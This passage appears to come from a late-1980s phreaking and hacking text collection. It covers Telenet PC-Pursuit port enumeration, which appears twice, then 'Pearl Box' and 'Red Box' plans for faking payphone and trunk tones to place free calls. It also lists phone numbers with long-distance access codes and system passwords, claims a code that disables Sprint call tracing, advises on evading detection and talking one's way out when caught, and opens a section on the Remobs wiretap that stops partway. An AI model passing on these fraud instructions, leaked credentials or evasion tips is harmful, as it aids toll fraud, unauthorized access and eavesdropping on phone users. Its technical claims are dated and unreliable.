  8458.             2)  xxx xxx NOT OPERATING 19 80 
  8459.             3)  The request freezes (Note: Issue a BREAK then D <C/R> 
  8460.                 to abort the attempt yielding 'ATTEMPT ABORTED'.) 
  8461.          You should be aware that modems which are out of order in the
  8462.          middle of the sequence can respond with 'NOT OPERATING' or 
  8463.          may freeze the request.  You should also note that when 
  8464.          updating the existing list, all you need to do is try to 
  8465.          request the next modem beyond the end as of the last check. 
  8466.          Finding Newly Added Ports: 
  8467.          ========================== 
  8468.               Many ports have not yet been installed; hence, we do not 
  8469.          yet know the addresses.  New ports may be found by entering 
  8470.          the first three digits of the area code and appending (1-29, 
  8471.          101-129, 201-229, 301-329, etc.) until the 'REFUSED COLLECT 
  8472.          CONNECTION 19 80' appears.  Once this is found, simply log 
  8473.          onto the port address with your ID and R/V dial some silly 
  8474.          series of digits, disconnect the port, then connect to the 
  8475.          PC-Pursuit mnemonic you think it might be and R/V redial the 
  8476.          last number.  If the numbers match, you found it. 
  8477.  
  8478.  
  8479.  
  8480.          Subject:    PC-Pursuit Port Statistic's 
  8481.          Date:       06/29/89 
  8482.          Written by: PC-Pursuit Users 
  8483.          ============================================================ 
  8484.          Introduction: 
  8485.          ============= 
  8486.               The last 30 days of PC-Pursuit have been extremely 
  8487.          controversial.  Users and ex-users have demanded accurate 
  8488.          statistics, and Telenet has provided us with very little. 
  8489.          And the data that was provided is questionable.  Well, here 
  8490.          is some data that is guaranteed to be accurate and make 
  8491.          Telenet scream. If you wish to update this data on your own, 
  8492.          we will tell you how later in this text. 
  8493.               The following chart consists of all the direct Telenet 
  8494.          addresses of the PC-Pursuit city nodes and the total number 
  8495.          of modems on each node.  Here is what the data means: 
  8496.          NJNEW/3 2011    .12    56 
  8497.          !     ! !        !      \-- Total Number of Modems in NJNEW 
  8498.          !     ! !        \- Last Working Suffix of Address sequence. 
  8499.          !     ! \- Direct Telenet Address Prefix. 
  8500.          !     \--- Baud Rate of This Port is 300. 
  8501.          \--------- Mnemonic. 
  8502.          Please note that there are several perfectly legal ways to 
  8503.          connect to a PC-Pursuit port such as NJNEW/3: 
  8504.               Ways To Connect to NJNEW/3: 
  8505.                    1)   C D/NJNEW/3,PCP10000,<password>   [HUNT] 
  8506.                    2)   C 2011,PCP10000,<password>        [HUNT] 
  8507.                    3)   C 2011.10,PCP10000,<password>     [NON HUNT] 
  8508.          The first, is self explanatory.  The second does the same 
  8509.          thing as the first, only that it is slightly faster and gives 
  8510.          the user much greater flexibility.  The third is an example 
  8511.          the flexibility, because a request is made to connect to the 
  8512.          tenth, and only the tenth, modem on the NJNEW/3 port. 
  8513.               By simply attempting to connect to every single modem 
  8514.          in the 2011 chain, we were able to count the number of modems 
  8515.          on each port and come up with the following charts which were
  8516.          extracted on June the twenty ninth of the year 1989: 
  8517.          Rotary   Direct  Max.  City     Rotary   Direct  Max.  City 
  8518.          Port     Address Range Total    Port     Address Range Total 
  8519.          -------- ------- ---   -----    -------- ------- ---   ----- 
  8520.          NJNEW/3  2011    .12   56       CAOAK/3  4155    . 4   16 
  8521.               /12 201301  .40                 /12 415216  . 8   
  8522.               /24 20122   . 4                 /24 41511   . 4   
  8523.          DCWAS/3  202115  . 6   46       CAPAL/3  415106  . 4   12 
  8524.               /12 202116  .24                 /12 415224  . 8   
  8525.               /24 202117  .16                 /24 <NONE> <NONE> 
  8526.          CTHAR/3  <NONE> <NONE>  8       CASFA/3  415215  . 6   20 
  8527.               /12 203120  . 8                 /12 415217  .10   
  8528.               /24 <NONE> <NONE>               /24 41523   . 4   
  8529.          WASEA/3  20617   . 4   30       ORPOR/3  50320   . 2    8 
  8530.               /12 20619   .22                 /12 50321   . 6   
  8531.               /24 20621   . 4                 /24 <NONE> <NONE> 
  8532.          NYNYO/3  212315  . 4   22       AZPHO/3  60222   . 4   20 
  8533.               /12 212316  .14                 /12 60223   .12   
  8534.               /24 21228   . 4                 /24 60226   . 4   
  8535.          CALAN/3  213412  . 8   40       MNMIN/3  612120  . 4   22 
  8536.               /12 213413  .28                 /12 612121  .14   
  8537.               /24 21323   . 4                 /24 61222   . 4   
  8538.          TXDAL/3  214117  . 6   30       MABOS/3  617311  . 4   32 
  8539.               /12 214118  .22                 /12 617313  .20   
  8540.               /24 21422   . 4                 /24 61726   . 8   
  8541.          PAPHI/3  215112  . 6   36       TXHOU/3  713113  . 8   42 
  8542.               /12 2155    .22                 /12 713114  .24   
  8543.               /24 21522   . 8                 /24 71324   .10   
  8544.          OHCLE/3  21620   . 4   26       CACOL/3  71423   . 4   18 
  8545.               /12 21621   .18                 /12 7144    .10   
  8546.               /24 216120  . 4                 /24 71424   . 4   
  8547.          CODEN/3  303114  . 4   40       CASAN/3  714119  . 4   20 
  8548.               /12 303115  .18                 /12 714213  .12   
  8549.               /24 30321   .22                 /24 714124  . 4   
  8550.          FLMIA/3  305120  . 6   28       CASDI/3  714102  . 4   22 
  8551.               /12 305121  .18            (619)/12 714210  .14   
  8552.               /24 305122  . 4                 /24 714121  . 4   
  8553.          ILCHI/3  312410  . 8   40       UTSLC/3  80120   . 4   22 
  8554.               /12 312411  .28                 /12 80121   .14   
  8555.               /24 31224   . 4                 /24 80112   . 4   
  8556.          MIDET/3  313214  . 6   30       FLTAM/3  81320   . 4   18 
  8557.               /12 313216  .18                 /12 81321   .10   
  8558.               /24 31324   . 6                 /24 813124  . 4   
  8559.          MOSLO/3  3145    . 4   16       MOKCI/3  816104  . 4   20 
  8560.               /12 314421  . 8                 /12 816221  .12   
  8561.               /24 31420   . 4                 /24 816113  . 4   
  8562.          GAATL/3  404113  . 8   32       CAGLE/3                ?? 
  8563.               /12 404114  .20                 /12 81821   .18   
  8564.               /24 40422   . 4                 /24   
  8565.          CASJO/3  408111  . 4   34       CASAC/3  9167    . 4   16 
  8566.               /12 40821   .26                 /12 91611   . 8   
  8567.               /24 408110  . 4                 /24 91612   . 4   
  8568.          WIMIL/3  41420   . 4   24       NCRTP/3  91920   . 4   20 
  8569.               /12 41421   .16                 /12 91921   .12   
  8570.               /24 414120  . 4                 /24 919124  . 4   
  8571.  
  8572.          01/29/89       PC-Pursuit Modems Statistics Chart 
  8573.                                  Number of Modems         City 
  8574.               Mnemonic        300      1200      2400     Total 
  8575.               ---------- -------- --------- --------- --------- 
  8576.               NJNEW            12        40         4        56 
  8577.               DCWAS             6        24        16        46 
  8578.               CTHAR             0         8         0         8 
  8579.               WASEA             4        22         4        30 
  8580.               NYNYO             4        14         4        22 
  8581.               CALAN             8        28         4        40 
  8582.               TXDAL             6        22         4        32 
  8583.               PAPHI             6        22         8        36 
  8584.               OHCLE             4        18         4        26 
  8585.               CODEN             4        18        22        44 
  8586.               FLMIA             6        18         4        28 
  8587.               ILCHI             8        28         4        40 
  8588.               MIDET             6        18         6        30 
  8589.               MOSLO             4         8         4        16 
  8590.               GAATL             8        20         4        32 
  8591.               CASJO             4        26         4        34 
  8592.               WIMIL             4        16         4        24 
  8593.               CAOAK             4         8         4        16 
  8594.               CAPAL             4         8         0        12 
  8595.               CASFA             6        10         4        20 
  8596.               ORPOR             2         6         0         8 
  8597.               AZPHO             4        12         4        20 
  8598.               MNMIN             4        14         4        22 
  8599.               MABOS             4        20         8        32 
  8600.               TXHOU             8        24        10        42 
  8601.               CACOL             4        10         4        18 
  8602.               CASAN             4        12         4        20 
  8603.               CASDI             4        14         4        22 
  8604.               UTSLC             4        14         4        22 
  8605.               FLTAM             4        10         4        18 
  8606.               MOKCI             4        12         4        20 
  8607.               CAGLE             4        18         4        26 
  8608.               CASAC             4         8         4        16 
  8609.               NCRTP             4        12         4        20 
  8610.                          -------- --------- --------- --------- 
  8611.               Total           166       562       170       898 
  8612.                          ======== ========= ========= ========= 
  8613.               Average   4.8823529 16.529412         5 26.411765 
  8614.               NOTE: CASAC/3, CASAC/24 were estimated. 
  8615.          I think the statistics basically speak for themselves. 
  8616.          I am sure there will no doubt be hundreds of people who will 
  8617.          not smile at the number of specific kinds of ports supported, 
  8618.          not to mention the number of 'dead' or 'down' modems you will 
  8619.          find when you verify the totals.  Usually, 2% to perhaps 10% 
  8620.          of the modems are 'dead' with specific ones repeatedly 
  8621.          failing week after week. 
  8622.          History Of This Collection: 
  8623.          =========================== 
  8624.               Almost a year ago a small selected group of devoted 
  8625.          individuals got together to discuss problems with the PC- 
  8626.          Pursuit Network, in the middle of our discussions a question 
  8627.          was asked as to how the network really processes our calls. 
  8628.          This was intended to help us assess SET? commands and other 
  8629.          such matters.  When the address hypothesis was offered we 
  8630.          quickly set out to prove it.  It was proved in about 3 
  8631.          minutes with the discovery of 2011 (First try was xxx1).  The 
  8632.          data has continually been collected and analyzed ever since, 
  8633.          but until now, has never been mass released. 
  8634.               A small group of teen age hackers discovered several 
  8635.          interesting things that can be done with these addresses-- 
  8636.          many of which will not be discussed here short of mentioning 
  8637.          that these ports connected to via these addresses are not 
  8638.          limited to PC-Pursuiters.  You can, however, fight "dead" 
  8639.          dialout modems in cities via the address method.  Dead modems 
  8640.          can be located in about 10 seconds (faster than Telenet), and 
  8641.          can either be reported or skipped past by the user connecting 
  8642.          to the next modem in the sequence after the "dead" one. 
  8643.          (Note: Say 2011.3 is dead, connect to 2011.4 and you will be 
  8644.          past it.  If 2011.4 is busy, go to 2011.5.  The reader should 
  8645.          notice 2011.3 is the same as 2011C.) 
  8646.               The most interesting value of these addresses is that 
  8647.          one can count the number of ports that Telenet keeps so 
  8648.          secret (Grin).  When there were only 28 cities in operation 
  8649.          there were an average of 2.7 300 baud, 9.4 1200 baud, and 2.5 
  8650.          2400 baud modems in each city.  Some cities had as little as 
  8651.          2 modems on a port and as many as 12.  Only recently has the 
  8652.          number of modems per city begun to jump. 
  8653.          How To Update The Count Yourself: 
  8654.          ================================= 
  8655.               An ID is not required to "request" one of these ports, 
  8656.          thus the tallying can be done any time of day by simply 
  8657.          typing the number at the @ prompt.  Here is an example with 
  8658.          four modems (NJNEW/24): 
  8659.          @20122.1 
  8660.          201 22A REFUSED COLLECT CONNECTION 19 80 
  8661.          @20122.2 
  8662.          201 22B REFUSED COLLECT CONNECTION 19 80 
  8663.          @20122.3 
  8664.          201 22C REFUSED COLLECT CONNECTION 19 80 
  8665.          @20122.4 
  8666.          201 22D REFUSED COLLECT CONNECTION 19 80 
  8667.          @20122.5 
  8668.          201 22E ILLEGAL ADDRESS 19 80 
  8669.          The reader should be aware that PC-Pursuit ports always 
  8670.          respond with '19 80'.  Do not confuse it with '19 00', which 
  8671.          are not PC-Pursuit ports.  In the above example we know there 
  8672.          are four ports because the forth was the last existing port 
  8673.          before we encountered the 'ILLEGAL ADDRESS.'  There are 
  8674.          several ways to signify that you have gone one beyond the end 
  8675.          of the ports: 
  8676.             1)  xxx xxx ILLEGAL ADDRESS 19 80 
  8677.             2)  xxx xxx NOT OPERATING 19 80 
  8678.             3)  The request freezes (Note: Issue a BREAK then D <C/R> 
  8679.                 to abort the attempt yielding 'ATTEMPT ABORTED'.) 
  8680.          You should be aware that modems which are out of order in the
  8681.          middle of the sequence can respond with 'NOT OPERATING' or 
  8682.          may freeze the request.  You should also note that when 
  8683.          updating the existing list, all you need to do is try to 
  8684.          request the next modem beyond the end as of the last check. 
  8685.          Finding Newly Added Ports: 
  8686.          ========================== 
  8687.               Many ports have not yet been installed; hence, we do not 
  8688.          yet know the addresses.  New ports may be found by entering 
  8689.          the first three digits of the area code and appending (1-29, 
  8690.          101-129, 201-229, 301-329, etc.) until the 'REFUSED COLLECT 
  8691.          CONNECTION 19 80' appears.  Once this is found, simply log 
  8692.          onto the port address with your ID and R/V dial some silly 
  8693.          series of digits, disconnect the port, then connect to the 
  8694.          PC-Pursuit mnemonic you think it might be and R/V redial the 
  8695.          last number.  If the numbers match, you found it. 
  8696.  
  8697.  
  8698. Pearl Box Plans                                  by the Jolly Roger
  8699.  
  8700. The Pearl Box:Definition - This is a box that may substitute for many boxes
  8701. which produce tones in hertz. The Pearl Box when operated correctly can
  8702. produce tones from 1-9999hz. As you can see, 2600, 1633, 1336 and other
  8703. crucial tones are obviously in its sound spectrum.
  8704.  
  8705. Materials you will need in order to build The Pearl Box:
  8706. ========================================================
  8707. C1, C2:.5mf or .5uf ceramic disk
  8708.        capacitors
  8709. Q1.....NPN transistor (2N2222 works
  8710.        best)
  8711. S1.....Normally open momentary SPST
  8712.        switch
  8713. S2.....SPST toggle switch
  8714. B1.....Standard 9-Volt battery
  8715. R1.....Single turn, 50k potentiometer
  8716. R2.....  "     "    100k potentiometer
  8717. R3.....  "     "    500k potentiometer
  8718. R4.....  "     "    1meg potentiometer
  8719. SPKR...Standard 8-ohm speaker
  8720. T1.....Mini transformer (8-ohm works
  8721.        best)
  8722. Misc...Wire, solder, soldering iron, PC
  8723.        board or perfboard, box to
  8724.        contain the completed unit,
  8725.        battery clip
  8726.  
  8727. Instructions for building Pearl Box:
  8728. ======================================
  8729. Since the instruction are EXTREMELY difficult to explain in words, you will
  8730. be given a schematic instead. It will be quite difficult to follow but try
  8731. it any way. 
  8732.  
  8733. (Schematic for The Pearl Box)
  8734. +---+------------+---------+
  8735.     !            !          \
  8736.     C1            C2          \
  8737.     !             !            +
  8738.     +             +       -----+T1
  8739.     !\            +------------+-+
  8740.     !  b  c-------!              +
  8741.     !   Q1                   !   +-S1-
  8742.     !     e-----S2---+       !    SPKR
  8743.     !                !       !   +----
  8744.     !               B1       !
  8745.     !                !       !
  8746.     !                +-------+
  8747.     !R1   R2   R3   R4!
  8748.     /\/\ /\/\ /\/\ /\/\
  8749.       +--+ +--+ +--+
  8750. Now that you are probably thoroughly confused, let me explain a few
  8751. minor details. The potentiometer area is rigged so that the left pole is
  8752. connected to the center pole of the potentiometer next to it.
  8753. The middle terminal of T1 is connected to the piece of wire that runs down
  8754. to the end of the battery.
  8755.  
  8756. Correct operation of The Pearl Box:
  8757. ===================================
  8758. You may want to get some dry-transfer decals at Radio Shack to make this
  8759. job a lot easier. Also, some knobs for the tops of the potentiometers
  8760. may be useful too. Use the decals to calibrate the knobs. R1 is the knob
  8761. for the ones place, R2 is for the tens place, R3 if for the hundreds
  8762. place and R4 is for the thousands place. S1 is for producing the all the
  8763. tones and S2 is for power. 
  8764. Step 1: Turn on the power and adjust the knobs for the desired tone.
  8765.        (Example: For 2600 hz-
  8766.          R1=0:R2=0:R3=6:R4=2)
  8767. Step 2: Hit the pushbutton switch and VIOLA! You have the tone. If 
  8768. you don't have a tone recheck all connections and schematic. 
  8769.  
  8770.                                  --------------------Jolly Roger
  8771.  
  8772. The Phreak file                            courtesy of the Jolly Roger
  8773.  
  8774. 202 282 3010 UNIV. OF D.C.            
  8775. 202 553 0229 PENTAGON T.A.C.          
  8776. 202 635 5710 CATHOLIC UNIV. OF AMERICA
  8777. 202 893 0330 DEFENSE DATA NETWORK     
  8778. 202 893 0331 DEFENSE DATA NETWORK     
  8779. 202 965 2900 WATERGATE                
  8780. 203 771 4930 TELEPHONE PIONEERS       
  8781. 206 641 2381 VOICE OF CHESTER         
  8782. 212 526 1111 NEW YORK FEED LINE       
  8783. 212 557 4455 SEX HOT LINE             
  8784. 212 799 5017 ABC NY FEED LINE         
  8785. 212 934 9090 DIAL-AN-IDIOT            
  8786. 212 976 2727 P.D.A.                   
  8787. 212 986 1660 STOCK QUOTES             
  8788. 213 541 2462 STOCK MARKET REPORTS     
  8789. 213 547 6801 NAVY SHIPS INFO          
  8790. 213 576 6061 "     "                  
  8791. 213 664 3321 NEWS FOR THE BLIND       
  8792. 301 393 1000 "     "                  
  8793. 301 667 4280 LOTTERY INFO             
  8794. 312 939 1600 "  "                  
  8795. 404 221 5519 NUCLEAR COMMISSION       
  8796. 408 248 8818 1ST NAT'L BANK           
  8797. 415 642 2160 EARTHQUAKE REPCRT        
  8798. 505 883 6828 "     " 
  8799. 512 472 2181 "     "                  
  8800. 512 472 4263 WIERD RECORDING          
  8801. 512 472 9833 "     "                  
  8802. 512 472 9941 INSERT 25 CENTS          
  8803. 512 472 9941 SPECIAL RECORDING        
  8804. 512 870 2345 "     "                  
  8805. 516 794 1707 "     "                  
  8806. 619 748 0002 LOOP LINE     
  8807. 619 748 0003 "     "                  
  8808. 703 331 0057 MCI           (5 DIGITS) 
  8809. 703 334 6831 WASH. POST               
  8810. 703 354 8723 COMPEL INC.
  8811. 703 737 2051 METROPHONE    (6 DIGITS) 
  8812. 703 835 0500 VALNET        (5 DIGITS) 
  8813. 703 861 7000 SPRINT      (6/8 DIGITS) 
  8814. 703 861 9181 SPRINT      (6/8 DIGITS) 
  8815. 714 974 4020 CA. MAINFRAME            
  8816. 716 475 1072 N.Y. DEC-SYSTEM          
  8817. 800 222 0555 RESEARCH INSTITUTE       
  8818. 800 223 3312 CITIBANK
  8819. 800 227 5576 EASTERN AIRLINES         
  8820. 800 248 0151 WHITE HOUSE PRESS        
  8821. 800 321 1424 FLIGHT PLANES            
  8822. 800 323 3026 TEL-TEC       (6 GIGITS) 
  8823. 800 323 4756 MOTOROLA DITELL          
  8824. 800 323 7751 M.C.I. MAINFRAME         
  8825. 800 325 4112 EAsYLINK                 
  8826. 800 325 6397 F.Y.I.                   
  8827. 800 344 4000 MSG SYSTEM               
  8828. 800 368 6900 SKYLINE ORDER LINE       
  8829. 800 424 9090 RONALD REAGAN'S PRESS    
  8830. 800 424 9096 WHITE HOUSE SWITCH       
  8831. 800 438 9428 ITT CITY CALL SWITCHING  
  8832. 800 521 2255 AUTONET                  
  8833. 800 521 8400 TRAVELNET     (8 DIGITS) 
  8834. 800 526 3714 RCA MAINFRAME            
  8835. 800 527 1800 TYMNET                   
  8836. 800 621 3026 SPECIAL OPERATOR         
  8837. 800 621 3028 "     "                  
  8838. 800 621 3030 "     "                  
  8839. 800 621 3035 "     "                  
  8840. 800 631 1146 VOICE STAT               
  8841. 800 821 2121 BELL TELEMARKETING      
  8842. 800 828 6321 XEROX            $       
  8843. 800 858 9313 RECORD-A-VOICE           
  8844. 800 882 1061 AT&T STOCK PRICES        
  8845. 914 997 1277 "     "                  
  8846. 916 445 2864 JERRY BROWN              
  8847. N/A 950 1000 SPRINT                   
  8848. N/A 950 1022 MCI EXECUNET             
  8849. N/A 950 1033 US TELEPHONE             
  8850. N/A 950 1044 ALLNET        (6 DIGITS) 
  8851. N/A 950 1066 LEXITEL 
  8852. N/A 950 1088 SKYLINE       (6 DIGITS) 
  8853.  
  8854. -----------------------------------
  8855. PHONE #       | DESCRIPTION/CODE
  8856. -----------------------------------
  8857. 201-643-2227  | CODES:235199,235022
  8858.               |       AND 121270
  8859.               |
  8860. 800-325-4112  | WESTERN UNION
  8861.               |
  8862. 800-547-1784  | CODES:101111,350009
  8863.               |       AND 350008
  8864.               |
  8865. 800-424-9098  | TOLL FREE WHITE HS.
  8866.               |
  8867. 800-424-9099  | DEFENSE HOT LINE
  8868.               |
  8869. 202-965-2900  | WATERGATE
  8870.               |
  8871. 800-368-5693  | HOWARD BAKER HOTLN
  8872.               |
  8873. 202-456-7639  | REAGANS SECRETARY
  8874.               |
  8875. 202-545-6706  | PENTAGON 
  8876.               |
  8877. 202-694-0004  | PENTAGON MODEM
  8878.               |
  8879. 201-932-3371  | RUTGERS
  8880.               |
  8881. 800-325-2091  | PASSWORD: GAMES
  8882.               |
  8883. 800-228-1111  | AMERICAN EXPRESS
  8884.               |
  8885. 617-258-8313  | AFTER CONNECT 
  8886.               | PRESS CTRL-C
  8887.               |
  8888. 800-323-7751  | PASSWORD:REGISTER
  8889.               |
  8890. 800-322-1415  | CODES:266891,411266
  8891.               |       AND 836566
  8892.               | (USED BY SYSOP)
  8893. -----------------------------------
  8894.  The following 800 #'s have been
  8895. collected however no codes have 
  8896. been found yet! if you hack any
  8897. please let me know...
  8898. -----------------------------------
  8899. phone #         | codes: 
  8900. -----------------------------------
  8901. 800-321-3344    | ???????????
  8902. 800-323-3027    | ???????????
  8903. 800-323-3208    | ???????????
  8904. 800-323-3209    | ???????????
  8905. 800-325-7222    | ???????????
  8906. 800-327-9895    | ???????????
  8907. 800-327-9136    | ???????????
  8908. 800-343-1844    | ???????????
  8909. 800-547-1784    | ???????????
  8910. 800-547-6754    | ???????????
  8911. 800-654-8494    | ???????????
  8912. 800-682-4000    | ???????????
  8913. 800-858-9000    | ???????????
  8914. 800 #'s with carriers.
  8915. 800-323-9007
  8916. 800-323-9066
  8917. 800-323-9073
  8918. 800-321-4600
  8919. 800-547-1784
  8920. 1-800 numbers of the goverment.
  8921. 800-321-1082:NAVY FINANCE CENTER.
  8922. 800-424-5201:EXPORT IMPORT BANK.
  8923. 800-523-0677:ALCOHOL TOBACCO AND.
  8924. 800-532-1556:FED INFORMATION CNTR1-1082:NAVY FINANCE CENTER.
  8925. 800-424-5201:EXPORT IMPORT BANK.
  8926. 800-523-0677:ALCOHOL TOBACCO AND.
  8927. 800-532-1556:FED INFORMATION CNTR.
  8928. 800-325-4072:COMBAT & ARMS SERVICE.
  8929. 800-325-4095:COMBAT SUPPORT BRANCH.
  8930. 800-325-4890:ROPD USAR COMBAT ARMS.
  8931. 800-432-3960:SOCIAL SECURITY.
  8932. 800-426-5996:PUGET NAVAL SHIPYARD.
  8933. Directory of toll free numbers.
  8934. 800-432-3960:SOCIAL SECURITY.
  8935. 800-426-5996:PUGET NAVAL SHIPYARD.
  8936. Directory of toll free numbers.
  8937. 301-234-0100:BALTIMORE ELECTRIC.
  8938. 202-456-1414:WHITE HOUSE.
  8939. 202-545-6706:PENTAGON.
  8940. 202-343-1100:EPA.
  8941. 714-891-1267:DIAL-A-GEEK.
  8942. 714-897-5511:TIMELY.
  8943. 213-571-6523:SATANIC MESSAGES.
  8944. 213-664-7664:DIAL-A-SONG.
  8945. 405-843-7396:SYNTHACER MUSIC.
  8946. 213-765-1000:LIST OF MANY NUMBERS.
  8947. 512-472-4263:WIERD.
  8948. 512-472-9941:INSERT 25.
  8949. 203-771-3930:PIONEERS.
  8950. 213-254-4914:DIAL-A-ATHIEST.
  8951. 212-586-0897:DIRTY.
  8952. 213-840-3971:HOROWIERD
  8953. 203-771-3930:PIONEERS
  8954. 471-9420,345-9721,836-8962
  8955. 836-3298,323-4139,836-5698
  8956. 471-9440,471-9440,471-6952
  8957. 476-6040,327-9772,471-9480
  8958. 800-325-1693,800-325-4113
  8959. 800-521-8400:VOICE ACTIVATED
  8960. 213-992-8282:METROFONE ACCESS NUMBER
  8961. 617-738-5051:PIRATE HARBOR
  8962. 617-720-3600:TIMECOR #2
  8963. 301-344-9156:N.A.S.A PASSWORD:GASET
  8964. 318-233-6289:UNIVERSITY LOUISIANA
  8965. 213-822-2112:213-822-3356
  8966. 213-822-1924:213-822 3127
  8967. 213-449-4040:TECH CENTER
  8968. 213-937-3580:TELENET
  8969. 1-800-842-8781
  8970. 1-800-368-5676
  8971. 1-800-345-3878
  8972. 212-331-1433
  8973. 213-892-7211
  8974. 213-626-2400
  8975. 713-237-1822
  8976. 713-224-6098
  8977. 713-225-1053
  8978. 713-224-9417
  8979. 818-992-8282
  8980. 1-800-521-8400
  8981. After entering the sprint code,and, C+Destination number.Then enter this:
  8982. number:"205#977#22",And the main tracer for sprint will be disabled.
  8983. 215-561-3199/SPRINT LONG DISTANCE
  8984. 202-456-1414/WHITE HOUSE
  8985. 011-441-930-4832/QUEEN ELIZABETH
  8986. 916-445-2864/JERRY BROWN
  8987. 800-424-9090/RONALD REAGAN'S PRESS
  8988. 212-799-5017/ABC NEW YORK FEED LINE
  8989. 800-882-1061/AT & T STOCK PRICES
  8990. 212-986-1660/STOCK QUOTES
  8991. 213-935-1111/WIERD EFFECTS!
  8992. 512-472-4263/WIERD RECORDING
  8993. 212-976-2727/P.D.A.
  8994. 619-748-0002/FONE CO. TESTING LINES
  8995. 900-410-6272/SPACE SHUTTLE COMM.
  8996. 201-221-6397/AMERICAN TELEPHONE
  8997. 215-466-6680/BELL OF PENNSYLVANIA
  8998. 202-347-0999/CHESAPEAKE TELEPHONE
  8999. 213-829-0111/GENERAL TELEPHONE
  9000. 808-533-4426/HAWAIIAN TELEPHONE
  9001. 312-368-8000/ILLINOIS BELL TELEPHONE
  9002. 317-265-8611/INDIANA BELL
  9003. 313-223-7233/MICHIGAN BELL
  9004. 313-223-7223/NEVADA BELL
  9005. 207-955-1111/NEW ENGLAND TELEPHONE
  9006. 201-483-3800/NEW JERSEY BELL
  9007. 212-395-2200/NEW YORK TELEPHONE
  9008. 515-243-0890/NORTHWESTERN BELL
  9009. 216-822-6980/OHIO BELL
  9010. 206-345-2900/PACIFIC NORTHWEST BELL
  9011. 213-621-4141/PACIFIC TELEPHONE
  9012. 205-321-2222/SOUTH CENTRAL BELL
  9013. 404-391-2490/SOUTHERN BELL
  9014. 203-771-4920/SOUTHERN NEW ENGLAND
  9015. 314-247-5511/SOUTHWESTERN BELL
  9016. 414-678-3511/WISCONSIN TELEPHONE
  9017. 800-327-6713/UNKNOWN ORIGIN
  9018. 303-232-8555/HP3000
  9019. 315-423-1313/DEC-10
  9020. 313-577-0260/WAYNE STATE
  9021. 512-474-5011/AUSTIN COMPUTERS
  9022. 516-567-8013/LYRICS TIMESHARING
  9023. 212-369-5114/RSTS/E
  9024. 415-327-5220/NEC
  9025. 713-795-1200/SHELL COMPUTERS
  9026. 518-471-8111/CNA OF NY
  9027. 800-327-6761/AUTONET
  9028. 800-228-1111/VISA CREDIT CHECK
  9029. 713-483-2700/NASUA
  9030. 213-383-1115/COSMOS
  9031. 408-280-1901/TRW
  9032. 404-885-3460/SEARS CREDIT CHECK
  9033. 414-289-9988/AARDVARK SOFTWARE
  9034. 919-852-1482/ANDROMEDA INCORPORATED
  9035. 213-985-2922/ARTSCI
  9036. 714-627-9887/ASTAR INTERNATIONAL
  9037. 415-964-8021/AUTOMATED SIMULATIONS
  9038. 503-345-3043/AVANT GARDE CREATIONS
  9039. 415-456-6424/BRODERBUND SOFTWARE
  9040. 415-658-8141/BUDGE COMPANY
  9041. 714-755-5392/CAVALIER COMPUTER
  9042. 801-753-6990/COMPUTER DATA SYSTEMS
  9043. 213-701-5161/DATASOFT INC.
  9044. 213-366-7160/DATAMOST
  9045. 716-442-8960/DYNACOMP
  9046. 213-346-6783/EDU-WARE
  9047. 800-631-0856/HAYDEN
  9048. 919-983-1990/MED SYSTEMS SOFTWARE
  9049. 312-433-7550/MICRO LAB
  9050. 206-454-1315/MICROSOFT
  9051. 301-659-7212/MUSE SOFTWARE
  9052. 209-683-6858/ON-LINE SYSTEMS
  9053. 203-661-8799/PROGRAM DESIGN (PDI)
  9054. 213-344-6599/QUALITY SOFTWARE
  9055. 303-925-9293/SENTIENT SOFTWARE
  9056. 702-647-2673/SIERRA SOFTWARE
  9057. 916-920-1939/SIRIUS SOFTWARE
  9058. 215-393-2640/SIR-TECH
  9059. 415-962-8911/SOFTWARE PUBLISHERS
  9060. 415-964-1353/STRATEGIC SIMULATIONS
  9061. 217-359-8482/SUBLOGIC COM.
  9062. 206-226-3216/SYNERGISTIC SOFTWARE
  9063. Here are a few tips on how not to get caught when using MCI or other
  9064. such services:
  9065.    1- Try not to use them for voice to voice personal calls. Try to use
  9066.       them for computer calls only. Here is why:
  9067.       MCI and those other services can't really trace the calls that
  9068.       come through the lines,they can just monitor them. They can 
  9069.       listen in on your calls and from that,they can get your name and
  9070.       other information from the conversation. They can also call
  9071.       the number you called and ask your friend some questions. If
  9072.       you call terminals and BBS'S then it is much harder to get
  9073.       information. For one thing,most sysops won't give these dudes
  9074.       that call any info at all or they will act dumb because they
  9075.       PHREAK themselves!
  9076.    2- Beware when using colored boxes! They are easy to find!!!!!
  9077.    3- Try to find a sine-wave number. Then use an MCI or other service
  9078.       to call it. You will hear a tone that goes higher and lower. If
  9079.       the tone just stops,then that code is being monitored and you
  9080.       should beware when using it.
  9081. ----------------------------------------
  9082.      If you do get caught,then if you think you can,try to weasel out of it.
  9083.     I have heard many stories about people that have pleaded with the MCI
  9084.  guys and have been let off. You will get a call from a guy that has been
  9085.  monitoring you. Act nice. Act like you know it is now wrong to do this
  9086.  kind of thing.....just sound like you are sorry for what you did. (If you
  9087.  get a call,you probably will be a little sorry!)
  9088.  Otherwise,it is very dangerous!!!!!!! (Very with a capital V!)
  9089.  
  9090.                              -------------------Jolly Roger
  9091.  
  9092.  
  9093. Red Box Plans                                   by the Jolly Roger
  9094.  
  9095. Red boxing is simulating the tones produced by public payphones when you
  9096. drop your money in. The tones are beeps of 2200 Hz + 1700 Hz
  9097. Nickle = 1 beep for 66 milliseconds.
  9098. Dime = 2 beeps, each 66 milliseconds with a 66 millisecond pause between
  9099. beeps.
  9100. Quarter = 5 beeps, each 33 milliseconds with a 33 millisecond
  9101. pause between beeps.
  9102.  
  9103. There are two commonly used methods being used by Phreaks to make free calls.
  9104. 1. An electronic hand-held device that is made from a pair of Wien-bridge
  9105. oscillators with the timing controlled by 555 timing chips.
  9106. 2. A tape recording of the tones produced by a home computer. One of
  9107. the best computers to use would be an Atari ST. It is one of the easier
  9108. computers to use because the red box tones can be produced in basic with only
  9109. about 5 statments.
  9110.  
  9111.                              --------------------Jolly Roger
  9112.  
  9113. [__RemObS_________________________]             by the Jolly Roger
  9114.  
  9115. Some of you may have heard of devices called Remobs which stands
  9116. for Remote Observation System. These Devices allow supposedly
  9117. authorized telephone employees to dial into them from anywhere, and
  9118. then using an ordinary touch tone fone, tap into a customer's line
  9119. in a special receive only mode. [The mouthpiece circuit is
  9120. deactivated, allowing totally silent observation from any
  9121. fone in the world (Wire tapping without a court order is against
  9122. the law)]
  9123.  
  9124. [__How Remobs Work______________]
  9125. Dial the number of a Remob unit.  Bell is rumored to put them in the
  9126. 555 information exchanges, oron special access trunks 
  9127. [Unreachable except via blue box].  A tone will then be heard
  9128. for approximately 2 seconds and then silence.  You must key in
